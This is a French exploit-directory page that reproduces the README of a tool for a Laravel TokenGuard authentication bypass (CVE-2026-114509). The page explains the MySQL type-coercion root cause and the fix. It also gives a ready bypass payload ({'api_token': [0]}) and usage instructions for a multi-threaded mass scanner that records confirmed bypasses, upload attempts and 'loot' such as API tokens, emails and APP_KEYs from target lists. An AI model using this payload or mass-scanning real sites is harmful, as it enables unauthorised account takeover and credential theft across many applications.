Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-114509 — Contournement de l'authentification Laravel TokenGuard via des identifiants d'API non-chaînes | Kitploit
Outils/GitHubGitHub/nxploited/cve-2026-114509
ReconnaissanceScanners de VulnérabilitésScanners de Vulnérabilités WebExploitationExploitation d'Applications WebCollecte d'InformationsPost-ExploitationTests d'IntrusionAuthentification
GitHubnxploited/cve-2026-114509

CVE-2026-114509

7il y a 19 heuresPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

Contournement de l'authentification Laravel TokenGuard via des identifiants d'API non-chaînes

Voir le dépôt
Partager

CVE-2026-114509

Contournement d'authentification Laravel TokenGuard via des identifiants d'API non-chaînes

🔴 CVE-2026-114509 — Contournement d'authentification Laravel TokenGuard

Contournement d'authentification non authentifié dans Laravel Framework — Garde d'API TokenGuard


📋 Aperçu

CVE-2026-114509 est une vulnérabilité critique de contournement d'authentification dans le composant intégré TokenGuard de Laravel Framework.

Lorsqu'il est configuré avec une garde d'API standard basée sur un jeton sur MySQL ou MariaDB, un attaquant non authentifié peut soumettre un identifiant non-chaîne spécialement conçu (un tableau JSON) qui amène la recherche d'authentification à correspondre à un utilisateur existant non prévu — accordant un accès complet sans connaître aucun jeton d'API valide.

Cela conduit à une prise de contrôle totale de compte sur toute route protégée par la garde affectée.


🛡️ Détails de la vulnérabilité

ChampDétails
ID CVECVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
Logiciel affectéLaravel Framework (laravel/framework)
Versions affectées< 12.68.0 et >= 13.0.0, < 13.29.0
TypeContournement d'authentification
CWECWE-287 — Authentification incorrecte
CWECWE-1287 — Validation incorrecte du type d'entrée spécifié
Score CVSS 4.09.2 / 10 — CRITIQUE
Vecteur CVSSCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AuthentificationAucune requise (Pré-Auth)
ConditionBackend MySQL / MariaDB
Correctifv12.68.0 / v13.29.0

⚙️ Détail du CVSS 4.0

MétriqueValeurSignification
Vecteur d'attaqueRéseauExploitable à distance via Internet
Complexité d'attaqueFaibleAucune condition particulière au-delà de MySQL/MariaDB
Exigences d'attaquePrésentesNécessite le comportement de coercition de type de MySQL/MariaDB
Privilèges requisAucunAucune authentification nécessaire
Interaction utilisateurAucuneAucune action de la victime requise
ConfidentialitéÉlevéeAccès complet en lecture aux données de l'utilisateur authentifié
IntégritéÉlevéePeut modifier les données en tant qu'utilisateur contourné
DisponibilitéÉlevéePeut perturber le service via la prise de contrôle de compte

🔬 Analyse technique

Cause racine

Il s'agit d'un bug de confusion de type à la frontière entre l'analyse des requêtes HTTP, la logique du framework PHP et le comportement de la base de données SQL. Trois comportements ordinaires s'alignent pour créer la vulnérabilité :

  1. TokenGuard accepte une entrée non-chaîne — La méthode user() dans TokenGuard.php utilise !empty($token) au lieu de is_string($token) && !empty($token). Les corps de requête JSON peuvent fournir des tableaux ou des entiers comme valeur de jeton.

  2. EloquentUserProvider construit une requête WHERE IN — Lorsque retrieveByCredentials() reçoit une valeur de type tableau, il génère WHERE api_token IN (...) au lieu de WHERE api_token = ....

  3. Coercition de type MySQL — MySQL convertit les colonnes de chaînes en nombres pour la comparaison. L'entier 0 correspond à n'importe quelle chaîne qui ne commence pas par un chiffre (ce qui représente la plupart des jetons d'API), car MySQL convertit ces chaînes en 0.0.

Chaîne d'exploitation

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

Flux d'attaque

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

Le correctif

Laravel a corrigé TokenGuard.php en ajoutant une vérification de type — si le jeton n'est pas une chaîne de caractères, le guard renvoie immédiatement null et n'appelle jamais le fournisseur d'utilisateurs :

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 Utilisation

Prérequis

  • Python 3.7+
  • requests
  • rich (pour une sortie terminal colorée)

Installation

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

Modes

L'outil prend en charge deux modes : scan de masse et sonde approfondie sur cible unique.


🔍 Mode 1 : Scan de masse

Analyser une liste de cibles pour détecter la vulnérabilité :

python CVE-2026-114509.py scan targets.txt

Options :

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
OptionPar défautDescription
targets(requis)Fichier contenant les URL cibles (une par ligne)
--threads60Nombre de threads simultanés
--timeout12Délai d'expiration des requêtes en secondes

Format du fichier cible (targets.txt) :

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

Les cibles sans schéma utilisent par défaut https://.

Fichiers de sortie (créés dans le répertoire du script) :

FichierContenu
LV_DETECTED.txtToutes les applications Laravel détectées
LV_BYPASS.txtContournements d'authentification confirmés
LV_UPLOAD.txtRésultats des tentatives d'upload
LV_LOOT.txtDonnées extraites (tokens, e-mails, APP_KEYs, données utilisateur)

🎯 Mode 2 : Cible unique

Sonder en profondeur une cible unique avec une sortie détaillée :

python CVE-2026-114509.py single https://target.com

Options :

Télécharger l’outil